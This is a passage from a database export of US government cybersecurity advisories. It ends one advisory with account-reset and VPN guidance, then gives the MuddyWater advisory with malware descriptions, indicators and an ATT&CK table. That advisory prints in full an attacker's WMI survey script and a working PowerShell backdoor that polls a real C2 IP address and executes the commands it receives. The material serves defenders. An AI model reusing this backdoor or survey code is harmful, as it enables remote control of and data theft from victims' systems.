password;[[1](<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password>)] this must be completed before any additional actions (a second reset will take place in step 5)\n 3. Wait for the `krbtgt` reset to propagate to all domain controllers (time may vary)\n 4. Reset all account passwords (passwords should be 15 characters or more and randomly assigned): \n\n 1. User accounts (forced reset with no legacy password reuse)\n 2. Local accounts on hosts (including local accounts not covered by Local Administrator Password Solution [LAPS])\n 3. Service accounts\n 4. Directory Services Restore Mode (DSRM) account\n 5. Domain Controller machine account\n 6. Application passwords\n 5. Reset the` krbtgt` password again\n 6. Wait for the `krbtgt` reset to propagate to all domain controllers (time may vary)\n 7. Reboot domain controllers\n 8. Reboot all endpoints\n\nThe following accounts should be reset:\n\n * AD Kerberos Authentication Master (2x)\n * All Active Directory Accounts\n * All Active Directory Admin Accounts\n * All Active Directory Service Accounts\n * All Active Directory User Accounts\n * DSRM Account on Domain Controllers\n * Non-AD Privileged Application Accounts\n * Non-AD Unprivileged Application Accounts\n * Non-Windows Privileged Accounts\n * Non-Windows User Accounts\n * Windows Computer Accounts\n * Windows Local Admin\n\n#### VPN Vulnerabilities\n\nImplement the following recommendations to secure your organization\u2019s VPNs:\n\n * **Update VPNs, network infrastructure devices, and devices** being used to remote into work environments with the latest software patches and security configurations. See CISA Tips [Understanding Patches and Software Updates](<https://us-cert.cisa.gov/ncas/tips/ST04-006>) and [Securing Network Infrastructure Devices](<https://us-cert.cisa.gov/ncas/tips/ST18-001>). Wherever possible, enable automatic updates.\n * **Implement MFA on all VPN connections to increase security**. Physical security tokens are the most secure form of MFA, followed by authenticator app-based MFA. SMS and email-based MFA should only be used when no other forms are available. If MFA is not implemented, require teleworkers to use strong passwords. See CISA Tips [Choosing and Protecting Passwords](<https://us-cert.cisa.gov/ncas/tips/ST04-002>) and [Supplementing Passwords](<https://us-cert.cisa.gov/ncas/tips/ST05-012>) for more information.\n\nDiscontinue unused VPN servers. Reduce your organization\u2019s attack surface by discontinuing unused VPN servers, which may act as a point of entry for attackers. To protect your organization against VPN vulnerabilities:\n\n * **Audit **configuration and patch management programs.\n * **Monitor **network traffic for unexpected and unapproved protocols, especially outbound to the Internet (e.g., Secure Shell [SSH], SMB, RDP).\n * **Implement** MFA, especially for privileged accounts.\n * **Use** separate administrative accounts on separate administration workstations.\n * **Keep **[software up to date](<https://us-cert.cisa.gov/ncas/tips/ST04-006>). Enable automatic updates, if available.\n\n### Contact Information\n\nTo report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at [www.fbi.gov/contact-us/field](<http://www.fbi.gov/contact-us/field>), or the FBI\u2019s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [Central@cisa.dhs.gov](<mailto:Central@cisa.dhs.gov>).\n\n### Resources\n\n * APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations \u2013 <https://us-cert.cisa.gov/ncas/alerts/aa20-283a>\n * CISA Activity Alert CVE-2019-19781 \u2013 <https://us-cert/cisa.gov/ncas/alerts/aa20-031a>\n * CISA Vulnerability Bulletin \u2013 <https://us-cert/cisa.gov/ncas/bulletins/SB19-161>\n * CISA Current Activity \u2013 <https://us-cert.cisa.gov/ncas/current-activity/2020/03/10/unpatched-microsoft-exchange-servers-vulnerable-cve-2020-0688>\n * Citrix Directory Traversal Bug (CVE-2019-19781) \u2013 <https://nvd.nist.gov/vuln/detail/CVE-2019-19781>\n * Microsoft Exchange remote code execution flaw (CVE-2020-0688) \u2013 <https://nvd.nist.gov/vuln/detail/CVE-2020-0688>\n * CVE-2018-13379 \u2013 [https://nvd.nist.gov/vuln/detail/CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379 >)\n * CVE-2020-1472 \u2013 <https://nvd.nist.gov/vuln/detail/CVE-2020-1472>\n * CVE 2019-10149 \u2013 <https://nvd.nist.gov/vuln/detail/CVE-2019-10149>\n * NCCIC/USCERT Alert TA15-314A \u2013 Compromised Web Servers and Web Shells \u2013 Threat Awareness and Guidance \u2013 [https://us-cert.cisa.gov/ncas/alerts/TA15-314A](<https://us-cert.cisa.gov/ncas/alerts/TA15-314A >)\n * NCCIC/US-CERT publication on SMB Security Best Practices \u2013 <https://us-cert.cisa.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices> \n\n\n**_DISCLAIMER_**\n\n_This information is provided \"as is\" for informational purposes only. The United States Government does not provide any warranties of any kind regarding this information. In no event shall the United States Government or its contractors or subcontractors be liable for any damages, including but not limited to, direct, indirect, special or consequential damages, arising out of, resulting from, or in any way connected with this information, whether or not based upon warranty, contract, tort, or otherwise, whether or not arising out of negligence, and whether or not injury was sustained from, or arose out of the results of, or reliance upon the information._\n\n_The United States Government does not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the United States Government._\n\n### References\n\n[[1] Microsoft: AD Forest Recovery - Resetting the krbtgt password](<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password>)\n\n### Revisions\n\nOctober 22, 2020: Initial Version|November 17, 2020: Added U.S. Heat Map of Activity|December 1, 2020: Added \"current as of\" date to U.S. Heat Map of Activity\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-12-01T12:00:00", "type": "ics", "title": "Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-1472"], "modified": "2020-12-01T12:00:00", "id": "AA20-296A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-296a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:28:18", "description": "### Summary\n\n**Actions to Take Today to Protect Against Malicious Activity** \n* Search for indicators of compromise. \n* Use antivirus software. \n* [Patch](<https://us-cert.cisa.gov/ncas/tips/ST04-006>) all systems. \n* Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>). \n* Train users to recognize and report [phishing attempts](<https://us-cert.cisa.gov/ncas/tips/ST04-014>). \n* Use [multi-factor authentication](<https://us-cert.cisa.gov/ncas/tips/ST05-012>).\n\n_**Note: **this advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&amp;CK\u00ae) framework, version 10. See the [ATT&amp;CK for Enterprise](<https://attack.mitre.org/versions/v10/techniques/enterprise/>) for all referenced threat actor tactics and techniques._\n\nThe Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Cyber Command Cyber National Mission Force (CNMF), and the United Kingdom\u2019s National Cyber Security Centre (NCSC-UK) have observed a group of Iranian government-sponsored advanced persistent threat (APT) actors, known as MuddyWater, conducting cyber espionage and other malicious cyber operations targeting a range of government and private-sector organizations across sectors\u2014including telecommunications, defense, local government, and oil and natural gas\u2014in Asia, Africa, Europe, and North America. **Note:** MuddyWater is also known as Earth Vetala, MERCURY, Static Kitten, Seedworm, and TEMP.Zagros.\n\nMuddyWater is a subordinate element within the Iranian Ministry of Intelligence and Security (MOIS).[[1](<https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/>)] This APT group has conducted broad cyber campaigns in support of MOIS objectives since approximately 2018. MuddyWater actors are positioned both to provide stolen data and accesses to the Iranian government and to share these with other malicious cyber actors.\n\nMuddyWater actors are known to exploit publicly reported vulnerabilities and use open-source tools and strategies to gain access to sensitive data on victims\u2019 systems and deploy ransomware. These actors also maintain persistence on victim networks via tactics such as side-loading dynamic link libraries (DLLs)\u2014to trick legitimate programs into running malware\u2014and obfuscating PowerShell scripts to hide command and control (C2) functions. FBI, CISA, CNMF, and NCSC-UK have observed MuddyWater actors recently using various malware\u2014variants of PowGoop, Small Sieve, Canopy (also known as Starwhale), Mori, and POWERSTATS\u2014along with other tools as part of their malicious activity. \n\nThis advisory provides observed tactics, techniques, and procedures (TTPs); malware; and indicators of compromise (IOCs) associated with this Iranian government-sponsored APT activity to aid organizations in the identification of malicious activity against sensitive networks. \n\nFBI, CISA, CNMF, NCSC-UK, and the National Security Agency (NSA) recommend organizations apply the mitigations in this advisory and review the following resources for additional information. **Note:** also see the Additional Resources section.\n\n * Malware Analysis Report \u2013 [MAR-10369127-1.v1: MuddyWater](<https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-055a>)\n * IOCs \u2013 AA22-052A.stix and MAR-10369127-1.v1.stix\n * CISA's webpage \u2013 [Iran Cyber Threat Overview and Advisories](<https://www.cisa.gov/uscert/iran>)\n * [NCSC-UK MAR \u2013 Small Sieve](<https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf>)\n * [CNMF's press release \u2013 Iranian intel cyber suite of malware uses open source tools](<https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/>)\n\nClick here for a PDF version of this report.\n\n### Technical Details\n\nFBI, CISA, CNMF, and NCSC-UK have observed the Iranian government-sponsored MuddyWater APT group employing spearphishing, exploiting publicly known vulnerabilities, and leveraging multiple open-source tools to gain access to sensitive government and commercial networks. \n\nAs part of its spearphishing campaign, MuddyWater attempts to coax their targeted victim into downloading ZIP files, containing either an Excel file with a malicious macro that communicates with the actor\u2019s C2 server or a PDF file that drops a malicious file to the victim\u2019s network [[T1566.001](<https://attack.mitre.org/versions/v10/techniques/T1566/001/>), [T1204.002](<https://attack.mitre.org/versions/v10/techniques/T1204/002>)]. MuddyWater actors also use techniques such as side-loading DLLs [[T1574.002](<https://attack.mitre.org/versions/v10/techniques/T1574/002/>)] to trick legitimate programs into running malware and obfuscating PowerShell scripts [[T1059.001](<https://attack.mitre.org/versions/v10/techniques/T1059/001/>)] to hide C2 functions [[T1027](<https://attack.mitre.org/versions/v10/techniques/T1027/>)] (see the PowGoop section for more information). \n\nAdditionally, the group uses multiple malware sets\u2014including PowGoop, Small Sieve, Canopy/Starwhale, Mori, and POWERSTATS\u2014for loading malware, backdoor access, persistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003/>)], and exfiltration [[TA0010](<https://attack.mitre.org/versions/v10/tactics/TA0010/>)]. See below for descriptions of some of these malware sets, including newer tools or variants to the group\u2019s suite. Additionally, see Malware Analysis Report [MAR-10369127.r1.v1: MuddyWater](<https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-055a>) for further details.\n\n#### **PowGoop**\n\nMuddyWater actors use new variants of PowGoop malware as their main loader in malicious operations; it consists of a DLL loader and a PowerShell-based downloader. The malicious file impersonates a legitimate file that is signed as a Google Update executable file.\n\nAccording to samples of PowGoop analyzed by [CISA](<https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-055a>) and [CNMF](<https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/>), PowGoop consists of three components:\n\n * A DLL file renamed as a legitimate filename, `Goopdate.dll`, to enable the DLL side-loading technique [[T1574.002](<https://attack.mitre.org/versions/v10/techniques/T1574/002/>)]. The DLL file is contained within an executable, `GoogleUpdate.exe`. \n * A PowerShell script, obfuscated as a .dat file, `goopdate.dat`, used to decrypt and run a second obfuscated PowerShell script, `config.txt` [[T1059.001](<https://attack.mitre.org/versions/v10/techniques/T1059/001/>)].\n * `config.txt`, an encoded, obfuscated PowerShell script containing a beacon to a hardcoded IP address.\n\nThese components retrieve encrypted commands from a C2 server. The DLL file hides communications with MuddyWater C2 servers by executing with the Google Update service. \n\n#### **Small Sieve**\n\nAccording to a sample [analyzed by NCSC-UK](<https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf>), Small Sieve is a simple Python [[T1059.006](<https://attack.mitre.org/versions/v10/techniques/T1059/006/>)] backdoor distributed using a Nullsoft Scriptable Install System (NSIS) installer, `gram_app.exe`. The NSIS installs the Python backdoor, `index.exe`, and adds it as a registry run key [[T1547.001](<https://attack.mitre.org/versions/v10/techniques/T1547/001/>)], enabling persistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003/>)]. \n\nMuddyWater disguises malicious executables and uses filenames and Registry key names associated with Microsoft's Windows Defender to avoid detection during casual inspection. The APT group has also used variations of Microsoft (e.g., \"Microsift\") and Outlook in its filenames associated with Small Sieve [[T1036.005](<https://attack.mitre.org/versions/v10/techniques/T1036/005/>)].\n\nSmall Sieve provides basic functionality required to maintain and expand a foothold in victim infrastructure and avoid detection [[TA0005](<https://attack.mitre.org/versions/v10/tactics/TA0005/>)] by using custom string and traffic obfuscation schemes together with the Telegram Bot application programming interface (API). Specifically, Small Sieve\u2019s beacons and taskings are performed using Telegram API over Hypertext Transfer Protocol Secure (HTTPS) [[T1071.001](<https://attack.mitre.org/versions/v10/techniques/T1071/001>)], and the tasking and beaconing data is obfuscated through a hex byte swapping encoding scheme combined with an obfuscated Base64 function [[T1027](<https://attack.mitre.org/versions/v10/techniques/T1027>)], [T1132.002](<https://attack.mitre.org/versions/v10/techniques/T1132/002/>)].\n\n**Note:** cybersecurity agencies in the United Kingdom and the United States attribute Small Sieve to MuddyWater with high confidence. \n\nSee Appendix B for further analysis of Small Sieve malware.\n\n#### **Canopy**\n\nMuddyWater also uses Canopy/Starwhale malware, likely distributed via spearphishing emails with targeted attachments [[T1566.001](<https://attack.mitre.org/versions/v10/techniques/T1566/001>)]. According to two Canopy/Starwhale samples analyzed by CISA, Canopy uses Windows Script File (.wsf) scripts distributed by a malicious Excel file. **Note:** the cybersecurity agencies of the United Kingdom and the United States attribute these malware samples to MuddyWater with high confidence. \n\nIn the samples CISA analyzed, a malicious Excel file, `Cooperation terms.xls`, contained macros written in Visual Basic for Applications (VBA) and two encoded Windows Script Files. When the victim opens the Excel file, they receive a prompt to enable macros [[T1204.002](<https://attack.mitre.org/versions/v10/techniques/T1204/002/>)]. Once this occurs, the macros are executed, decoding and installing the two embedded Windows Script Files.\n\nThe first .wsf is installed in the current user startup folder [[T1547.001](<https://attack.mitre.org/versions/v10/techniques/T1547/001/>)] for persistence. The file contains hexadecimal (hex)-encoded strings that have been reshuffled [[T1027](<https://attack.mitre.org/versions/v10/techniques/T1027/>)]. The file executes a command to run the second .wsf.\n\nThe second .wsf also contains hex-encoded strings that have been reshuffled. This file collects [[TA0035](<https://attack.mitre.org/versions/v10/tactics/TA0035/>)] the victim system\u2019s IP address, computer name, and username [[T1005](<https://attack.mitre.org/versions/v10/techniques/T1005/>)]. The collected data is then hex-encoded and sent to an adversary-controlled IP address, `http[:]88.119.170[.]124`, via an HTTP POST request [[T1041](<https://attack.mitre.org/versions/v10/techniques/T1041/>)].\n\n#### **Mori**\n\nMuddyWater also uses the Mori backdoor that uses Domain Name System tunneling to communicate with the group\u2019s C2 infrastructure [[T1572](<https://attack.mitre.org/versions/v10/techniques/T1572/>)]. \n\nAccording to one sample analyzed by CISA, `FML.dll`, Mori uses a DLL written in C++ that is executed with `regsvr32.exe` with export `DllRegisterServer`; this DLL appears to be a component to another program. `FML.dll` contains approximately 200MB of junk data [[T1001.001](<https://attack.mitre.org/versions/v10/techniques/T1001/001/>)] in a resource directory 205, number 105. Upon execution, `FML.dll` creates a mutex, `0x50504060`, and performs the following tasks:\n\n * Deletes the file `FILENAME.old` and deletes file by registry value. The filename is the DLL file with a `.old` extension.\n * Resolves networking APIs from strings that are ADD-encrypted with the key` 0x05`.\n * Uses Base64 and Java Script Object Notation (JSON) based on certain key values passed to the JSON library functions. It appears likely that JSON is used to serialize C2 commands and/or their results.\n * Communicates using HTTP over either IPv4 or IPv6, depending on the value of an unidentified flag, for C2 [[T1071.001](<https://attack.mitre.org/versions/v10/techniques/T1071/001/>)].\n * Reads and/or writes data from the following Registry Keys, `HKLM\\Software\\NFC\\IPA` and `HKLM\\Software\\NFC\\(Default)`.\n\n#### **POWERSTATS**\n\nThis group is also known to use the POWERSTATS backdoor, which runs PowerShell scripts to maintain persistent access to the victim systems [[T1059.001](<https://attack.mitre.org/versions/v10/techniques/T1059>)]. \n\nCNMF has posted samples further detailing the different parts of MuddyWater\u2019s new suite of tools\u2014 along with JavaScript files used to establish connections back to malicious infrastructure\u2014to the malware aggregation tool and repository, [Virus Total](<http://www.virustotal.com/en/user/CYBERCOM_Malware_Alert>). Network operators who identify multiple instances of the tools on the same network should investigate further as this may indicate the presence of an Iranian malicious cyber actor.\n\nMuddyWater actors are also known to exploit unpatched vulnerabilities as part of their targeted operations. FBI, CISA, CNMF, and NCSC-UK have observed this APT group recently exploiting the Microsoft Netlogon elevation of privilege vulnerability ([CVE-2020-1472](<https://vulners.com/cve/CVE-2020-1472>)) and the Microsoft Exchange memory corruption vulnerability ([CVE-2020-0688](<https://vulners.com/cve/CVE-2020-0688>)). See [CISA\u2019s Known Exploited Vulnerabilities Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) for additional vulnerabilities with known exploits and joint Cybersecurity Advisory: [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>) for additional Iranian APT group-specific vulnerability exploits.\n\n#### **Survey Script**\n\nThe following script is an example of a survey script used by MuddyWater to enumerate information about victim computers. It queries the Windows Management Instrumentation (WMI) service to obtain information about the compromised machine to generate a string, with these fields separated by a delimiter (e.g., `;;` in this sample). The produced string is usually encoded by the MuddyWater implant and sent to an adversary-controlled IP address.\n\n$O = Get-WmiObject Win32_OperatingSystem;$S = $O.Name;$S += \";;\";$ips = \"\";Get-WmiObject Win32_NetworkAdapterConfiguration -Filter \"IPEnabled=True\" | % {$ips = $ips + \", \" + $_.IPAddress[0]};$S += $ips.substring(1);$S += \";;\";$S += $O.OSArchitecture;$S += \";;\";$S += [System.Net.DNS]::GetHostByName('').HostName;$S += \";;\";$S += ((Get-WmiObject Win32_ComputerSystem).Domain);$S += \";;\";$S += $env:UserName;$S += \";;\";$AntiVirusProducts = Get-WmiObject -Namespace \"root\\SecurityCenter2\" -Class AntiVirusProduct -ComputerName $env:computername;$resAnti = @();foreach($AntiVirusProduct in $AntiVirusProducts){$resAnti += $AntiVirusProduct.displayName};$S += $resAnti;echo $S;\n\n#### **Newly Identified PowerShell Backdoor**\n\nThe newly identified PowerShell backdoor used by MuddyWater below uses a single-byte Exclusive-OR (XOR) to encrypt communications with the key 0x02 to adversary-controlled infrastructure. The script is lightweight in functionality and uses the InvokeScript method to execute responses received from the adversary.\n\nfunction encode($txt,$key){$enByte = [Text.Encoding]::UTF8.GetBytes($txt);for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$encodetxt = [Convert]::ToBase64String($enByte);return $encodetxt;}function decode($txt,$key){$enByte = [System.Convert]::FromBase64String($txt);for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt = [System.Text.Encoding]::UTF8.GetString($enByte);return $dtxt;}$global:tt=20;while($true){try{$w = [System.Net.HttpWebRequest]::Create('http://95.181.161.49:80/index.php?id=&lt;victim identifier&gt;');$w.proxy = [Net.WebRequest]::GetSystemWebProxy();$r=(New-Object System.IO.StreamReader($w.GetResponse().GetResponseStream())).ReadToEnd();if($r.Length -gt 0){$res=[string]$ExecutionContext.InvokeCommand.InvokeScript(( decode $r 2));$wr = [System.Net.HttpWebRequest]::Create('http://95.181.161.49:80/index.php?id=&lt;victim identifier&gt;');$wr.proxy = [Net.WebRequest]::GetSystemWebProxy();$wr.Headers.Add('cookie',(encode $res 2));$wr.GetResponse().GetResponseStream();}}catch {}Start-Sleep -Seconds $global:tt;}\n\n### MITRE ATT&amp;CK Techniques\n\n[MuddyWater](<https://attack.mitre.org/groups/G0069/>) uses the ATT&amp;CK techniques listed in table 1.\n\n_Table 1: MuddyWater ATT&amp;CK Techniques[[2](<https://attack.mitre.org/versions/v10/groups/G0069/>)]_\n\nTechnique Title | **ID** | **Use** \n---|---|--- \n**Reconnaissance** \nGather Victim Identity Information: Email Addresses | [T1589.002](<https://attack.mitre.org/versions/v10/techniques/T1589/002>) | MuddyWater has specifically targeted government agency employees with spearphishing emails. \n**Resource Development** \nAcquire Infrastructure: Web Services | [T1583.006](<https://attack.mitre.org/versions/v10/techniques/T1583/006/>) | MuddyWater has used file sharing services including OneHub to distribute tools. \nObtain Capabilities: Tool | [T1588.002](<https://attack.mitre.org/versions/v10/techniques/T1588/002>) | MuddyWater has made use of legitimate tools ConnectWise and RemoteUtilities for access to target environments. \n**Initial Access** \nPhishing: Spearphishing Attachment | [T1566.001](<https://attack.mitre.org/versions/v10/techniques/T1566/001>) | MuddyWater has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments. \nPhishing: Spearphishing Link | [T1566.002](<https://attack.mitre.org/versions/v10/techniques/T1566/002>) | MuddyWater has sent targeted spearphishing emails with malicious links. \n**Execution** \nWindows Management Instrumentation | [T1047](<https://attack.mitre.org/versions/v10/techniques/T1047>) | MuddyWater has used malware that leveraged Windows Management Instrumentation for execution and querying host information. \nCommand and Scripting Interpreter: PowerShell | [T1059.001](<https://attack.mitre.org/versions/v10/techniques/T1059/001/>) | MuddyWater has used PowerShell for execution. \nCommand and Scripting Interpreter: Windows Command Shell | [1059.003](<https://attack.mitre.org/versions/v10/techniques/T1059/003>) | MuddyWater has used a custom tool for creating reverse shells. \nCommand and Scripting Interpreter: Visual Basic | [T1059.005](<https://attack.mitre.org/versions/v10/techniques/T1059/005>) | MuddyWater has used Virtual Basic Script (VBS) files to execute its POWERSTATS payload, as well as macros. \nCommand and Scripting Interpreter: Python | [T1059.006](<https://attack.mitre.org/versions/v10/techniques/T1059/006>) | MuddyWater has used developed tools in Python including Out1. \nCommand and Scripting Interpreter: JavaScript | [T1059.007](<https://attack.mitre.org/versions/v10/techniques/T1059/007>) | MuddyWater has used JavaScript files to execute its POWERSTATS payload. \nExploitation for Client Execution | [T1203](<https://attack.mitre.org/versions/v10/techniques/T1203>) | MuddyWater has exploited the Office vulnerability CVE-2017-0199 for execution. \nUser Execution: Malicious Link | [T1204.001](<https://attack.mitre.org/versions/v10/techniques/T1204/001>) | MuddyWater has distributed URLs in phishing emails that link to lure documents. \nUser Execution: Malicious File | [T1204.002](<https://attack.mitre.org/versions/v10/techniques/T1204/002>) | MuddyWater has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails. \nInter-Process Communication: Component Object Model | [T1559.001](<https://attack.mitre.org/versions/v10/techniques/T1559/001>) | MuddyWater has used malware that has the capability to execute malicious code via COM, DCOM, and Outlook. \nInter-Process Communication: Dynamic Data Exchange | [T1559.002](<https://attack.mitre.org/versions/v10/techniques/T1559/002>) | MuddyWater has used malware that can execute PowerShell scripts via Dynamic Data Exchange. \n**Persistence** \nScheduled Task/Job: Scheduled Task | [T1053.005](<https://attack.mitre.org/versions/v10/techniques/T1053/005>) | MuddyWater has used scheduled tasks to establish persistence. \nOffice Application Startup: Office Template Macros | [T1137.001](<https://attack.mitre.org/versions/v10/techniques/T1137/001>) | MuddyWater has used a Word Template, `Normal.dotm`, for persistence. \nBoot or Logon Autostart Execution: Registry Run Keys / Startup Folder | [T1547.001](<https://attack.mitre.org/versions/v10/techniques/T1547/001/>) | MuddyWater has added Registry Run key `KCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\SystemTextEncoding` to establish persistence. \n**Privilege Escalation** \nAbuse Elevation Control Mechanism: Bypass User Account Control | [T1548.002](<https://attack.mitre.org/versions/v10/techniques/T1548/002/>) | MuddyWater uses various techniques to bypass user account control. \nCredentials from Password Stores | [T1555](<https://attack.mitre.org/versions/v10/techniques/T1555>) | MuddyWater has performed credential dumping with LaZagne and other tools, including by dumping passwords saved in victim email. \nCredentials from Web Browsers | \n\n[T1555.003](<https://attack.mitre.org/versions/v10/techniques/T1055/003>)\n\n| MuddyWater has run tools including Browser64 to steal passwords saved in victim web browsers. \n**Defense Evasion** \nObfuscated Files or Information | [T1027](<https://attack.mitre.org/versions/v10/techniques/T1027>) | MuddyWater has used Daniel Bohannon\u2019s Invoke-Obfuscation framework and obfuscated PowerShell scripts. The group has also used other obfuscation methods, including Base64 obfuscation of VBScripts and PowerShell commands. \nSteganography | [T1027.003](<https://attack.mitre.org/versions/v10/techniques/T1027/003>) | MuddyWater has stored obfuscated JavaScript code in an image file named `temp.jpg`. \nCompile After Delivery | [T1027.004](<https://attack.mitre.org/versions/v10/techniques/T1027/004>) | MuddyWater has used the` .NET` `csc.exe` tool to compile executables from downloaded C# code. \nMasquerading: Match Legitimate Name or Location | [T1036.005](<https://attack.mitre.org/versions/v10/techniques/T1036/005>) | MuddyWater has disguised malicious executables and used filenames and Registry key names associated with Windows Defender. E.g., Small Sieve uses variations of Microsoft (Microsift) and Outlook in its filenames to attempt to avoid detection during casual inspection. \nDeobfuscate/Decode Files or Information | \n\n[T1140](<https://attack.mitre.org/versions/v10/techniques/T1140>)\n\n| MuddyWater decoded Base64-encoded PowerShell commands using a VBS file. \nSigned Binary Proxy Execution: CMSTP | \n\n[T1218.003](<https://attack.mitre.org/versions/v10/techniques/T1218/003>)\n\n| MuddyWater has used `CMSTP.exe` and a malicious `.INF` file to execute its POWERSTATS payload. \nSigned Binary Proxy Execution: Mshta | [T1218.005](<https://attack.mitre.org/versions/v10/techniques/T1218/005>) | MuddyWater has used `mshta.exe` to execute its POWERSTATS payload and to pass a PowerShell one-liner for execution. \nSigned Binary Proxy Execution: Rundll32 | [T1218.011](<https://attack.mitre.org/versions/v10/techniques/T1218/011>) | MuddyWater has used malware that leveraged `rundll32.exe` in a Registry Run key to execute a `.dll`. \nExecution Guardrails | [T1480](<https://attack.mitre.org/versions/v10/techniques/T1480/>) | The Small Sieve payload used by MuddyWater will only execute correctly if the word \u201cPlatypus\u201d is passed to it on the command line. \nImpair Defenses: Disable or Modify Tools | [T1562.001](<https://attack.mitre.org/versions/v10/techniques/T1562/001>) | MuddyWater can disable the system's local proxy settings. \n**Credential Access** \nOS Credential Dumping: LSASS Memory | [T1003.001](<https://attack.mitre.org/versions/v10/techniques/T1003/001>) | MuddyWater has performed credential dumping with Mimikatz and `procdump64.exe`. \nOS Credential Dumping: LSA Secrets | \n\n[T1003.004](<https://attack.mitre.org/versions/v10/techniques/T1003/004>)\n\n| MuddyWater has performed credential dumping with LaZagne. \nOS Credential Dumping: Cached Domain Credentials | [T1003.005](<https://attack.mitre.org/versions/v10/techniques/T1003/005>) | MuddyWater has performed credential dumping with LaZagne. \nUnsecured Credentials: Credentials In Files | \n\n[T1552.001](<https://attack.mitre.org/versions/v10/techniques/T1552/001>)\n\n| MuddyWater has run a tool that steals passwords saved in victim email. \n**Discovery** \nSystem Network Configuration Discovery | [T1016](<https://attack.mitre.org/versions/v10/techniques/T1016>) | MuddyWater has used malware to collect the victim\u2019s IP address and domain name. \nSystem Owner/User Discovery | [T1033](<https://attack.mitre.org/versions/v10/techniques/T1033>) | MuddyWater has used malware that can collect the victim\u2019s username. \nSystem Network Connections Discovery | [T1049](<https://attack.mitre.org/versions/v10/techniques/T1049>) | MuddyWater has used a PowerShell backdoor to check for Skype connections on the target machine. \nProcess Discovery | [T1057](<https://attack.mitre.org/versions/v10/techniques/T1057>) | MuddyWater has used malware to obtain a list of running processes on the system. \nSystem Information Discovery | \n\n[T1082](<https://attack.mitre.org/versions/v10/techniques/T1082>)\n\n| MuddyWater has used malware that can collect the victim\u2019s OS version and machine name. \nFile and Directory Discovery | [T1083](<https://attack.mitre.org/versions/v10/techniques/T1083>) | MuddyWater has used malware that checked if the ProgramData folder had folders or files with the keywords \"Kasper,\" \"Panda,\" or \"ESET.\" \nAccount Discovery: Domain Account | [T1087.002](<https://attack.mitre.org/versions/v10/techniques/T1087/002/>) | MuddyWater has used `cmd.exe` net user/domain to enumerate domain users. \nSoftware Discovery | [T1518](<https://attack.mitre.org/versions/v10/techniques/T1518>) | MuddyWater has used a PowerShell backdoor to check for Skype connectivity on the target machine. \nSecurity Software Discovery | [T1518.001](<https://attack.mitre.org/versions/v10/techniques/T1518/001>) | MuddyWater has used malware to check running processes against a hard-coded list of security tools often used by malware researchers. \n**Collection** \nScreen Capture | [T1113](<https://attack.mitre.org/versions/v10/techniques/T1113>) | MuddyWater has used malware that can capture screenshots of the victim\u2019s machine. \n \nArchive Collected Data: Archive via 